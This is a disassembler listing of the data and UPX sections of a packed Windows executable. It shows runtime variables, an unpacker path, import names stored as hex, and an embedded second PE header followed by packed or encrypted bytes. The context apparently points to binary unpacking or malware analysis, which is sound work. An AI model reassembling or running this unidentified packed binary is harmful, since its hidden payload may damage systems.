dword_43C6F4	dd 0			; DATA XREF: sub_40981A+4E1w
					; sub_40A4A7+B8r
dword_43C6F8	dd 0			; DATA XREF: sub_40981A:loc_409FD1w
					; sub_40A4A7:loc_40A58Br
dword_43C6FC	dd 0			; DATA XREF: sub_40981A+7B2w
					; sub_40A4A7+ECr
dword_43C700	dd 0			; DATA XREF: sub_40981A:loc_40A0BCw
					; sub_40981A+8D1w ...
dword_43C704	dd 0			; DATA XREF: sub_40981A+8CCw
					; sub_40A4A7+120r
dword_43C708	dd 0			; DATA XREF: sub_40981A:loc_40A150w
					; sub_40A4A7:loc_40A5F3r ...
dword_43C70C	dd 0			; DATA XREF: sub_40981A+931w
					; sub_40A4A7+154r
dword_43C710	dd 0			; DATA XREF: sub_40981A:loc_40A25Bw
					; sub_40A4A7:loc_40A627r ...
dword_43C714	dd 0			; DATA XREF: sub_40981A+A3Cw
					; sub_40A4A7+188r
dword_43C718	dd 0			; DATA XREF: sub_40981A:loc_40A2A5w
					; sub_40A4A7:loc_40A65Br
dword_43C71C	dd 0			; DATA XREF: sub_40981A+A86w
					; sub_40A4A7+1BCr
dword_43C720	dd 0			; DATA XREF: sub_40981A:loc_40A2EFw
					; sub_40A4A7:loc_40A68Fr
dword_43C724	dd 0			; DATA XREF: sub_40981A+AD0w
					; sub_40A4A7+1F0r
dword_43C728	dd 0			; DATA XREF: sub_40981A:loc_40A363w
					; sub_40A4A7:loc_40A6C3r
dword_43C72C	dd 0			; DATA XREF: sub_40981A+B44w
					; sub_40A4A7+224r
dword_43C730	dd 0			; DATA XREF: sub_40981A:loc_40A3ADw
					; sub_40A4A7:loc_40A6F7r
dword_43C734	dd 0			; DATA XREF: sub_40981A+B8Ew
					; sub_40A4A7+258r
dword_43C738	dd 0			; DATA XREF: sub_40981A:loc_40A44Bw
					; sub_40A4A7:loc_40A72Br
dword_43C73C	dd 0			; DATA XREF: sub_40981A+C2Cw
					; sub_40A4A7+28Cr
dword_43C740	dd 0			; DATA XREF: sub_40981A:loc_40A495w
					; sub_40A4A7:loc_40A75Fr
dword_43C744	dd 0			; DATA XREF: sub_40981A+C76w
					; sub_40A4A7+2C0r
; char byte_43C748[]
byte_43C748	db 204h	dup(0)		; DATA XREF: sub_40AA30+6Ao
; char byte_43C94C[]
byte_43C94C	db 14h dup(0)		; DATA XREF: sub_40AEDB+32o
dword_43C960	dd 0			; DATA XREF: sub_40B323:loc_40B344r
					; sub_40B412+54r ...
dword_43C964	dd 0			; DATA XREF: sub_40B323r
					; sub_40B412+37r ...
dword_43C968	dd 0			; DATA XREF: sub_40B353+1Ar
					; sub_40B567+83o
dword_43C96C	dd 0			; DATA XREF: sub_40B323:loc_40B337r
					; sub_40B567+11Bw
; char byte_43C970[]
byte_43C970	db 34h dup(0)		; DATA XREF: sub_40B412+13o
					; sub_40B567:loc_40B6A4o
; int dword_43C9A4
dword_43C9A4	dd 0			; DATA XREF: sub_40B412+CDr
					; sub_40B412+ECr ...
		dd 0
; char byte_43C9AC[]
byte_43C9AC	db 38h dup(0)		; DATA XREF: sub_40B71C+47o
; char byte_43C9E4[]
byte_43C9E4	db 3660h dup(0)		; DATA XREF: sub_40BF6F+1Do
					; sub_40C00Fo ...
dword_440044	dd 268h	dup(0)		; DATA XREF: .data:off_4ED374o
; char byte_4409E4[]
byte_4409E4	db 4 dup(0)		; DATA XREF: sub_40BF6F+13o
					; sub_40C00F+Eo ...
dword_4409E8	dd 0Eh dup(0)		; DATA XREF: sub_40D01A+Fo
dword_440A20	dd 2 dup(0)		; DATA XREF: sub_40D39C+C8o
; char byte_440A28[]
byte_440A28	db 5Ch dup(0)		; DATA XREF: sub_40D834:loc_40D951o
					; sub_40D834+131o ...
; char byte_440A84[]
byte_440A84	db 200h	dup(0)		; DATA XREF: sub_40E5CD+7Co
					; sub_40E5CD+A5o
dword_440C84	dd 0			; DATA XREF: sub_40DBAE+45w
					; sub_40DBAE+4Dr ...
; char byte_440C88[]
byte_440C88	db 5Ch dup(0)		; DATA XREF: sub_40E499:loc_40E5BBo
					; sub_40E499+12Do
; char byte_440CE4[]
byte_440CE4	db 200h	dup(0)		; DATA XREF: sub_40DAEF+4Bo
					; sub_40DAEF+7Do ...
byte_440EE4	db 0			; DATA XREF: sub_40DBAE+29r
					; sub_40DBAE+34w
		align 4
; char byte_440EE8[]
byte_440EE8	db 200h	dup(0)		; DATA XREF: sub_40DE05+61o
					; sub_40DE05+88o ...
; char byte_4410E8[]
byte_4410E8	db 208h	dup(0)		; DATA XREF: sub_40D70B+33o
					; sub_40D70B+50o ...
; char Str1[]
Str1		dd 0			; DATA XREF: sub_40BE77+Ao
					; sub_40BE77+44r ...
		dd 5 dup(0)
dword_441308	dd 0			; DATA XREF: sub_40BE77+60r
					; sub_40EE51+BC7r
		dd 2D9h	dup(0)
dword_441E70	dd 0			; DATA XREF: sub_407758+A5r
					; sub_40BE77+2Do ...
		dd 7Fh dup(0)
dword_442070	dd 0			; DATA XREF: sub_416D48+41w
					; sub_416E83+40w ...
dword_442074	dd 0			; DATA XREF: sub_4060CD+234w
					; sub_407758:loc_40779Fr ...
dword_442078	dd 0			; DATA XREF: sub_40B567+164w
					; sub_4167FC+AEw ...
dword_44207C	dd 0			; DATA XREF: sub_40267F+E0w
					; sub_405AF0+7Ew ...
dword_442080	dd 0			; DATA XREF: sub_407D53+11Ew
					; sub_407F3A+53r ...
dword_442084	dd 0			; DATA XREF: sub_4060CD+261w
					; sub_407243+122w ...
byte_442088	db 0			; DATA XREF: sub_40EB71+91o
					; sub_40EE51+3371r ...
		align 4
		dd 0DB1h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: UPX0:off_4292D0o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: UPX0:0042BCA8o
		dd 8BECh dup(0)
UPX0		ends

; Section 2. (virtual address 00073000)
; Virtual size			: 00019000 ( 102400.)
; Section size in file		: 00019000 ( 102400.)
; Offset to raw	data for section: 00073000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 473000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_473000	dd 4F00h dup(0)		; DATA XREF: UPX1:0048B741o
dword_486C00	dd 1Ah			; DATA XREF: sub_407102:loc_407170r
					; sub_40E68B+3Aw ...
		align 8
dword_486C08	dd 0			; DATA XREF: sub_40E68B:loc_40EA83o
; char byte_486C0C[]
byte_486C0C	db 80h dup(0)		; DATA XREF: sub_40E68B+390o
					; sub_40E68B+449o ...
; char byte_486C8C[]
byte_486C8C	db 40h dup(0)		; DATA XREF: sub_40E68B+3A7o
					; sub_40EE51+91Do
; char byte_486CCC[]
byte_486CCC	db 90h dup(0)		; DATA XREF: sub_40E68B+3BEo
dword_486D5C	dd 0			; DATA XREF: sub_40E68B+3B2w
					; sub_40E68B+460w ...
dword_486D60	dd 0			; DATA XREF: sub_40E68B+3D1w
		align 10h
dword_486D70	dd 0			; DATA XREF: sub_40E68B+13Ar
; int dword_486D74
dword_486D74	dd 0			; DATA XREF: sub_40EB71+72r
					; sub_40EE51+276r
		dd 0
byte_486D7C	db 0			; DATA XREF: sub_40ECD9+28r
					; sub_40ECD9+30o
		align 10h
dword_486D80	dd 0			; DATA XREF: sub_40E68B+3FDw
					; sub_40E68B+414r ...
dword_486D84	dd 0			; DATA XREF: sub_40E68B+395w
					; sub_40EE51+8C1r
		align 10h
dword_486D90	dd 0			; DATA XREF: sub_41546F+146r
		align 8
; char byte_486D98[]
byte_486D98	db 68h dup(0)		; DATA XREF: sub_415D59+8Do
dword_486E00	dd 0			; DATA XREF: sub_416F90+16o
					; sub_416FAF+19o
dword_486E04	dd 66h dup(0)		; DATA XREF: sub_416F43+3Do
byte_486F9C	db 0			; DATA XREF: sub_416C41+6Ar
					; sub_416C41+98w
		align 10h
		dd 2 dup(0)
dword_486FA8	dd 0			; DATA XREF: __fpmath+Aw
		align 10h
dword_486FB0	dd 0			; DATA XREF: _time+5Er	_time+A4w
		align 8
word_486FB8	dw 0			; DATA XREF: _time+55r	_time+9Ao
word_486FBA	dw 0			; DATA XREF: _time+48r
		db 2 dup(0)
word_486FBE	dw 0			; DATA XREF: _time+3Br
word_486FC0	dw 0			; DATA XREF: _time+2Er
word_486FC2	dw 0			; DATA XREF: _time+21r
		align 8
dword_486FC8	dd 0			; DATA XREF: _strtok+3Br _strtok+91w
dword_486FCC	dd 0			; DATA XREF: _strtoxl+1B9w
					; _fseek:loc_418CFAw ...
dword_486FD0	dd 0			; DATA XREF: sub_4195E9+35w
					; __close:loc_41A541w ...
dword_486FD4	dd 0			; DATA XREF: __sopen+13Ar
dword_486FD8	dd 0A28h		; DATA XREF: _WinMainCRTStartup+52w
dword_486FDC	dd 501h			; DATA XREF: _WinMainCRTStartup+49w
dword_486FE0	dd 5			; DATA XREF: _WinMainCRTStartup+3Ew
dword_486FE4	dd 1			; DATA XREF: _WinMainCRTStartup+30w
dword_486FE8	dd 1			; DATA XREF: sub_40E68B:loc_40E96Br
					; __setargv+91w
dword_486FEC	dd 0FB0B00h		; DATA XREF: sub_40E68B+2E9r
					; sub_40E68B+309r ...
		dd 0
; void *dword_486FF4
dword_486FF4	dd 0FB0A80h		; DATA XREF: __setenvp+44w _getenv+9r	...
dword_486FF8	dd 0			; DATA XREF: ___crtsetenv+36r
dword_486FFC	dd 0			; DATA XREF: _getenv+16r
					; ___wtomb_environ+4r ...
		dd 0
off_487004	dd offset aCM_unpackerPac ; DATA XREF: __setargv+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_48700C	db 0			; DATA XREF: _doexit+2Dw
					; ___endstdio+5r
		align 10h
dword_487010	dd 0			; DATA XREF: _doexit+27w
dword_487014	dd 0			; DATA XREF: _doexit+4r _doexit+8Bw
; char *dword_487018
dword_487018	dd 0			; DATA XREF: _WinMainCRTStartup+84w
					; __setenvp:loc_41E70Cr ...
		align 10h
dword_487020	dd 0			; DATA XREF: __amsg_exitr
					; _fast_error_exitr ...
dword_487024	dd 0			; DATA XREF: __stbuf+37r
		dd 0
dword_48702C	dd 0			; DATA XREF: _mallocr
					; _realloc:loc_4194BBr	...
dword_487030	dd 0			; DATA XREF: __callnewhr
dword_487034	dd 0			; DATA XREF: __cftoe+11r __cftof+1Ar ...
byte_487038	db 0			; DATA XREF: __cftoe+3r __cftoe+98r ...
		align 4
dword_48703C	dd 0			; DATA XREF: __cftof+11r __cftog+21w ...
byte_487040	db 0			; DATA XREF: __cftog+51w
		align 4
dword_487044	dd 0			; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,void *,_s_FuncInfo	const *,uchar,int,EHRegistrationNode *)+4Er
					; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+3Ar	...
dword_487048	dd 0			; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,void *,_s_FuncInfo	const *,uchar,int,EHRegistrationNode *)+5Cr
					; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+43r	...
dword_48704C	dd 0			; DATA XREF: _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const	*,int,EHRegistrationNode *)+7Ar
					; FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,void *,_s_FuncInfo	const *,int,int,EHRegistrationNode *)+5r
dword_487050	dd 0			; DATA XREF: sub_41CA7C+29r
dword_487054	dd 2 dup(0)		; DATA XREF: unknown_libname_4+Co
; int dword_48705C
dword_48705C	dd 0			; DATA XREF: __strupr+4r __strupr+6Er	...
		dd 3 dup(0)
dword_48706C	dd 0			; DATA XREF: _mbstowcs+61r
					; _mbstowcs+BFr ...
		dd 0
dword_487074	dd 1			; DATA XREF: ___crtLCMapStringA+28r
					; ___crtLCMapStringA+4Cw ...
dword_487078	dd 1			; DATA XREF: __setmbcp:loc_41E01Br
					; _getSystemCP+4w ...
dword_48707C	dd 0			; DATA XREF: __XcptFilter+3Ar
					; __XcptFilter+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv:loc_41E7CAo
					; UPX1:off_487004o
		align 4
		dd 3Ah dup(0)
dword_487184	dd 1			; DATA XREF: ___crtGetEnvironmentStringsA+2r
					; ___crtGetEnvironmentStringsA+23w ...
dword_487188	dd 0			; DATA XREF: __FF_MSGBANNER+21r
dword_48718C	dd 0			; DATA XREF: __stbuf:loc_41A6BBw
					; __openfile+154w ...
dword_487190	dd 1			; DATA XREF: ___crtGetStringTypeA+26r
					; ___crtGetStringTypeA:loc_41F141w
dword_487194	dd 0			; DATA XREF: __openfile+7r
word_487198	dw 0			; DATA XREF: __fltout+1Ao __fltout+46r
byte_48719A	db 0			; DATA XREF: __fltout+39r
		align 4
dword_48719C	dd 7 dup(0)		; DATA XREF: __fltout+52o
dword_4871B8	dd 0			; DATA XREF: __fltout+40w __fltout+5Co
dword_4871BC	dd 0			; DATA XREF: __fltout+4Dw
dword_4871C0	dd 0			; DATA XREF: __fltout+31w
dword_4871C4	dd 0			; DATA XREF: __fltout+52w
; int (__stdcall *dword_4871C8)()
dword_4871C8	dd 0AA3203h		; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_41FE05r
					; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+38r ...
		align 10h
dword_4871D0	dd 0			; DATA XREF: __tzset+11w __tzset+63w ...
		align 8
dword_4871D8	dd 0			; DATA XREF: __tzset+33o __tzset+46r
dword_4871DC	dd 10h dup(0)		; DATA XREF: __tzset+C1o
word_48721C	dw 0			; DATA XREF: __isindst+A8r
word_48721E	dw 0			; DATA XREF: __tzset+54r __isindst+DBr ...
word_487220	dw 0			; DATA XREF: __isindst+CAr
word_487222	dw 0			; DATA XREF: __isindst+D3r
					; __isindst:loc_420212r
word_487224	dw 0			; DATA XREF: __isindst+C0r
word_487226	dw 0			; DATA XREF: __isindst+B8r
word_487228	dw 0			; DATA XREF: __isindst+B0r
word_48722A	dw 0			; DATA XREF: __isindst+9Er
dword_48722C	dd 0			; DATA XREF: __tzset+4Br
dword_487230	dd 10h dup(0)		; DATA XREF: __tzset+FBo
word_487270	dw 0			; DATA XREF: __isindst+46r
word_487272	dw 0			; DATA XREF: __tzset:loc_41FF39r
					; __isindst+78r ...
word_487274	dw 0			; DATA XREF: __isindst+67r
word_487276	dw 0			; DATA XREF: __isindst+70r
					; __isindst:loc_4201A4r
word_487278	dw 0			; DATA XREF: __isindst+5Dr
word_48727A	dw 0			; DATA XREF: __isindst+55r
word_48727C	dw 0			; DATA XREF: __isindst+4Dr
word_48727E	dw 0			; DATA XREF: __isindst+3Er
dword_487280	dd 0			; DATA XREF: __tzset+80r
; char *dword_487284
dword_487284	dd 0			; DATA XREF: __tzset+132r
					; __tzset:loc_42000Er ...
dword_487288	dd 0			; DATA XREF: ___tzsetr	___tzset+Ew
dword_48728C	dd 0			; DATA XREF: ___crtMessageBoxA+3r
					; ___crtMessageBoxA+2Ew ...
dword_487290	dd 0			; DATA XREF: ___crtMessageBoxA+43w
					; ___crtMessageBoxA:loc_42061Er
dword_487294	dd 0			; DATA XREF: ___crtMessageBoxA+4Aw
					; ___crtMessageBoxA+60r
dword_487298	dd 0			; DATA XREF: __sopen+3Fr
dword_48729C	dd 0			; DATA XREF: _raise:loc_4211DFr
					; _raise+6Do
dword_4872A0	dd 0			; DATA XREF: _raise:loc_4211B6r
					; _raise+44o
dword_4872A4	dd 0			; DATA XREF: _raise:loc_4211A9r
					; _raise+37o
dword_4872A8	dd 0			; DATA XREF: _raise:loc_4211C3r
					; _raise+51o
		align 10h
dword_4872B0	dd 0			; DATA XREF: ___crtCompareStringA+28r
					; ___crtCompareStringA+48w ...
dword_4872B4	dd 0			; DATA XREF: ___crtLCMapStringW+28r
					; ___crtLCMapStringW+4Cw ...
dword_4872B8	dd 0			; DATA XREF: ___crtGetStringTypeW+26r
					; ___crtGetStringTypeW:loc_42247Dw
byte_4872BC	db 1			; DATA XREF: unknown_libname_1r
					; unknown_libname_1+9w
		align 10h
dword_4872C0	dd 0FA4968h		; DATA XREF: _flsall:loc_41A636r
					; __getstream+14r ...
		dd 7 dup(0)
dword_4872E0	dd 400h	dup(0)		; DATA XREF: UPX0:off_438C68o
					; UPX0:00438C70o
; size_t NumOfElements
NumOfElements	dd 200h			; DATA XREF: _flsall+9r _flsall+56r ...
		dd 7 dup(0)
dword_488300	dd 0FB0EF0h		; DATA XREF: __flsbuf+B1r __filbuf+75r ...
dword_488304	dd 3Fh dup(0)		; DATA XREF: __ioinit+92o
dword_488400	dd 20h			; DATA XREF: __close+8r __read+Cr ...
dword_488404	dd 4E4h			; DATA XREF: __setmbcp+14r
					; __setmbcp+65w ...
		align 10h
dword_488410	dd 3 dup(0)		; DATA XREF: __setmbcp+123o
					; __setmbcp+171o ...
dword_48841C	dd 0			; DATA XREF: __setmbcp+108w
					; __setmbcp+15Dw ...
byte_488420	db 0			; DATA XREF: _setSBUpLow:loc_41E1EBw
					; _setSBUpLow:loc_41E208w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_488520	db 0			; DATA XREF: __setmbcp+5Co
					; __setmbcp+AFo ...
byte_488521	db 0			; DATA XREF: __splitpath+5Dr
					; __setmbcp+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_488624	dd 0			; DATA XREF: __setmbcp+6Ew
					; __setmbcp+12Bw ...
dword_488628	dd 10h			; DATA XREF: ___sbh_heap_init+32w
					; ___sbh_alloc_new_region+5r ...
dword_48862C	dd 0			; DATA XREF: ___sbh_free_block+239r
					; ___sbh_free_block+259r ...
dword_488630	dd 0FA0650h		; DATA XREF: ___sbh_heap_init+2Dw
					; ___sbh_free_block+310w ...
; void *Dst
Dst		dd 0			; DATA XREF: ___sbh_heap_init:loc_41A9B8w
					; ___sbh_free_block+22Cr ...
dword_488638	dd 1			; DATA XREF: ___sbh_heap_init+24w
					; ___sbh_find_blockr ...
dword_48863C	dd 0FA0650h		; DATA XREF: ___sbh_heap_init+15w
					; ___sbh_find_block+8r	...
dword_488640	dd 0FA0000h		; DATA XREF: __heap_alloc+28r
					; _free+21r ...
dword_488644	dd 142340h		; DATA XREF: _WinMainCRTStartup+7Aw
					; __wincmdln+Fr ...
dword_488648	dd 1			; DATA XREF: __setenvp+ADw _getenvr
dword_48864C	dd 1			; DATA XREF: ___initmbctabler
					; ___initmbctable+11w ...
dword_488650	dd 0FB0E64h		; DATA XREF: __onexit+13r
					; __onexit:loc_4185C5r	...
; void *Memory
Memory		dd 0FB0E60h		; DATA XREF: __onexit+1r __onexit+Cr ...
		dd 66Ah	dup(0)
		dd 70h,	22000h,	70614D01h, 77656956h, 6946664Fh, 100656Ch
		dd 50746547h, 65636F72h, 65487373h, 1007061h
aSetenvironment	db 'SetEnvironmentVariableA',0
		dd 6D6F4301h, 65726170h, 69727453h, 57676Eh, 6D6F4301h
		dd 65726170h, 69727453h, 41676Eh, 74655301h, 4F646E45h
		dd 6C694666h, 49010065h, 64614273h, 65646F43h, 727450h
		dd 42734901h, 65526461h, 74506461h, 53010072h, 6E557465h
		dd 646E6168h, 4564656Ch, 70656378h, 6E6F6974h, 746C6946h
		dd 1007265h, 73756C46h,	6C694668h, 66754265h, 73726566h
		dd 65530100h, 64745374h, 646E6148h, 100656Ch, 53746547h
		dd 6E697274h, 70795467h, 1005765h, 53746547h, 6E697274h
		dd 70795467h, 1004165h,	46746547h, 54656C69h, 657079h
		dd 74654701h, 48647453h, 6C646E61h, 53010065h, 61487465h
		dd 656C646Eh, 6E756F43h, 47010074h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72745374h, 73676E69h, 47010057h, 6E457465h
		dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 72460100h
		dd 6E456565h, 6F726976h, 6E656D6Eh, 72745374h, 73676E69h
		dd 46010057h, 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh
		dd 676E6972h, 1004173h,	74697845h, 65726854h, 1006461h
		dd 54746547h, 436B6369h, 746E756Fh, 75510100h, 50797265h
		dd 6F667265h, 6E616D72h, 6F436563h, 65746E75h, 51010072h
		dd 79726575h, 66726550h, 616D726Fh, 4665636Eh, 75716572h
		dd 79636E65h, 6C530100h, 706565h, 74654701h, 74737953h
		dd 69446D65h, 74636572h, 4179726Fh, 65470100h, 636F4C74h
		dd 69546C61h, 100656Dh,	746C754Dh, 74794269h, 576F5465h
		dd 43656469h, 726168h, 61655201h, 6C694664h, 43010065h
		dd 65736F6Ch, 646E6148h, 100656Ch, 74697257h, 6C694665h
		dd 54010065h, 736E6172h, 4E746361h, 64656D61h, 65706950h
		dd 72430100h, 65746165h, 656C6946h, 57010041h, 46746961h
		dd 6953726Fh, 656C676Eh, 656A624Fh, 1007463h, 4C746547h
		dd 45747361h, 726F7272h, 72430100h, 65746165h, 6E657645h
		dd 1004174h, 4D746547h,	6C75646Fh, 6C694665h, 6D614E65h
		dd 1004165h, 54746547h,	46656D69h, 616D726Fh, 1004174h
		dd 44746547h, 46657461h, 616D726Fh, 1004174h, 61657243h
		dd 68546574h, 64616572h, 65470100h, 6C694674h, 7A695365h
		dd 47010065h, 69467465h, 7441656Ch, 62697274h, 73657475h
		dd 46010041h, 43646E69h, 65736F6Ch, 69460100h, 6954656Ch
		dd 6F54656Dh, 74737953h, 69546D65h, 100656Dh, 656C6946h
		dd 656D6954h, 6F4C6F54h, 466C6163h, 54656C69h, 656D69h
		dd 6E694601h, 78654E64h, 6C694674h, 1004165h, 646E6946h
		dd 73726946h, 6C694674h, 1004165h, 46746553h, 50656C69h
		dd 746E696Fh, 1007265h,	7661654Ch, 69724365h, 61636974h
		dd 6365536Ch, 6E6F6974h, 6E450100h, 43726574h, 69746972h
		dd 536C6163h, 69746365h, 1006E6Fh, 74696E49h, 696C6169h
		dd 7243657Ah, 63697469h, 65536C61h, 6F697463h, 646E416Eh
		dd 6E697053h, 6E756F43h, 44010074h, 74656C65h, 69724365h
		dd 61636974h, 6365536Ch, 6E6F6974h, 72460100h, 694C6565h
		dd 72617262h, 47010079h, 6E457465h, 6F726976h, 6E656D6Eh
		dd 72615674h, 6C626169h, 1005765h, 50746547h, 41636F72h
		dd 65726464h, 1007373h,	64616F4Ch, 7262694Ch, 41797261h
		dd 65480100h, 72467061h, 1006565h, 70616548h, 6F6C6C41h
		dd 55010063h, 6E61686Eh, 64656C64h, 65637845h, 6F697470h
		dd 6C69466Eh, 726574h, 72695601h, 6C617574h, 72657551h
		dd 784579h, 61655201h, 6F725064h, 73736563h, 6F6D654Dh
		dd 1007972h, 53746547h,	65747379h, 666E496Dh, 4F01006Fh
		dd 506E6570h, 65636F72h, 1007373h, 4D746547h, 6C75646Fh
		dd 6E614865h, 41656C64h, 6F460100h, 74616D72h, 7373654Dh
		dd 41656761h, 6C470100h, 6C61626Fh, 6F6C6E55h, 1006B63h
		dd 626F6C47h, 6F4C6C61h, 1006B63h, 616D6E55h, 65695670h
		dd 46664F77h, 656C69h, 72655401h, 616E696Dh, 72506574h
		dd 7365636Fh, 43010073h, 74616572h, 6C694665h, 70614D65h
		dd 676E6970h, 53010041h, 69467465h, 6954656Ch, 100656Dh
		dd 46746547h, 54656C69h, 656D69h, 65724301h, 50657461h
		dd 65636F72h, 417373h, 70784501h, 45646E61h, 7269766Eh
		dd 656D6E6Fh, 7453746Eh, 676E6972h, 1004173h, 46746553h
		dd 41656C69h, 69727474h, 65747562h, 1004173h, 54746547h
		dd 50706D65h, 41687461h, 65470100h, 69784574h, 646F4374h
		dd 6F725065h, 73736563h, 65500100h, 614E6B65h, 5064656Dh
		dd 657069h, 70754401h, 6163696Ch, 61486574h, 656C646Eh
		dd 65470100h, 72754374h, 746E6572h, 636F7250h, 737365h
		dd 65724301h, 50657461h, 657069h, 74654701h, 73726556h
		dd 456E6F69h, 1004178h,	626F6C47h, 654D6C61h, 79726F6Dh
		dd 74617453h, 1007375h,	74697845h, 636F7250h, 737365h
		dd 64695701h, 61684365h, 4D6F5472h, 69746C75h, 65747942h
		dd 65470100h, 6D6F4374h, 65747570h, 6D614E72h, 1004165h
		dd 656C6544h, 69466574h, 41656Ch, 74654701h, 72727543h
		dd 50746E65h, 65636F72h, 64497373h, 6F430100h, 69467970h
		dd 41656Ch, 65724301h, 4D657461h, 78657475h, 54010041h
		dd 696D7265h, 6574616Eh, 65726854h, 1006461h, 65766F4Dh
		dd 656C6946h, 47010041h, 65567465h, 6F697372h, 5301006Eh
		dd 6F437465h, 6C6F736Eh, 72744365h, 6E61486Ch, 72656C64h
		dd 65470100h, 636F4C74h, 49656C61h, 416F666Eh, 65470100h
		dd 676F4C74h, 6C616369h, 76697244h, 1007365h, 74696157h
		dd 4D726F46h, 69746C75h, 4F656C70h, 63656A62h, 1007374h
		dd 656E6547h, 65746172h, 736E6F43h, 43656C6Fh, 456C7274h
		dd 746E6576h, 74520100h, 776E556Ch, 646E69h, 74654701h
		dd 656D6954h, 656E6F5Ah, 6F666E49h, 74616D72h, 6E6F69h
		dd 74654701h, 74737953h, 69546D65h, 100656Dh, 70616548h
		dd 6C416552h, 636F6Ch, 74654701h, 72617453h, 49707574h
		dd 416F666Eh, 65470100h, 6D6F4374h, 646E616Dh, 656E694Ch
		dd 52010041h, 65736961h, 65637845h, 6F697470h, 4801006Eh
		dd 44706165h, 72747365h, 100796Fh, 70616548h, 61657243h
		dd 1006574h, 74726956h,	466C6175h, 656572h, 72695601h
		dd 6C617574h, 6F6C6C41h, 49010063h, 64614273h, 74697257h
		dd 72745065h, 65480100h, 69537061h, 100657Ah, 614D434Ch
		dd 72745370h, 41676E69h, 434C0100h, 5370614Dh, 6E697274h
		dd 1005767h, 43746547h,	666E4950h, 4701006Fh, 43417465h
		dd 47010050h, 454F7465h, 50434Dh, 7D00h, 221D400h, 4E570100h
		dd 64417465h, 6E6F4364h, 7463656Eh, 326E6F69h, 85000041h
		dd 0DC000000h, 0FF000221h, 74FF000Bh, 73FF00h, 0FF0015FFh
		dd 0DFF0002h, 1FF00h, 0FF0016FFh, 9FF0034h, 10FF00h, 0FF0013FFh
		dd 97FF0012h, 17FF00h, 0FF000AFFh, 3FF0004h, 0
		dd 45500000h, 14C0000h,	59BE0004h, 4660h, 0
		dd 0E00000h, 10B010Fh, 18000006h, 56000002h, 6,	99D40000h
		dd 10000001h, 30000000h, 2, 10000040h, 2000000h, 40000h
		dd 0
		dd 40000h, 0
		dd 0A0000000h, 4000008h, 0D4300000h, 20003h, 0
		dd 10000010h, 0
		dd 10000010h, 0
		dd 100000h, 2 dup(0)
		dd 40E80000h, 500002h, 14h dup(0)
		dd 30000000h, 2280002h,	6 dup(0)
		dd 742E0000h, 747865h, 16840000h, 10000002h, 18000000h
		dd 4000002h, 3 dup(0)
		dd 200000h, 722E6000h, 61746164h, 1BE60000h, 30000000h
		dd 1C000002h, 1C000000h, 2, 2 dup(0)
		dd 400000h, 642E4000h, 617461h,	36580000h, 50000006h, 44000002h
		dd 38000001h, 2, 2 dup(0)
		dd 400000h, 732EC000h, 74616478h, 180061h, 90000000h, 2000008h
		dd 7C000000h, 3, 2 dup(0)
		dd 2400000h, 9000C000h,	43600008h, 98060002h, 61170008h
		dd 0E539BB58h, 0DDE0F2D6h, 6FA33216h, 822B000Ah, 0A10F80B1h
		dd 56D4619h, 20CA7711h,	6F5A82EBh, 0A31920E5h, 0F75D4582h
		dd 957417C6h, 886ABD47h, 810C512Ch, 0B57F7DD1h,	9BA10741h
		dd 6CD14887h, 0D9AA7B63h, 83176AC6h, 0B6A181CCh, 6E4152A7h
		dd 0CD2333Ah, 80F0677h,	0A0276B8Dh, 4773D718h, 818CA322h
		dd 8885FF69h, 2D8704C3h, 0D586DB43h, 0FF1F6805h, 0AB182A94h
		dd 0A04B2099h, 0D0377F44h, 815C28B7h, 9A5F854Fh, 0E0ADA9DBh
		dd 0E30227C9h, 656949C0h, 1BCD973Ch, 5A30F525h,	4264F41h
		dd 5096EDCEh, 5013B32h,	46054326h, 0DF5B957Eh, 0F6436925h
		dd 420EEFCDh, 170B067Ch, 64334B32h, 80DD00B8h, 4D5B185Dh
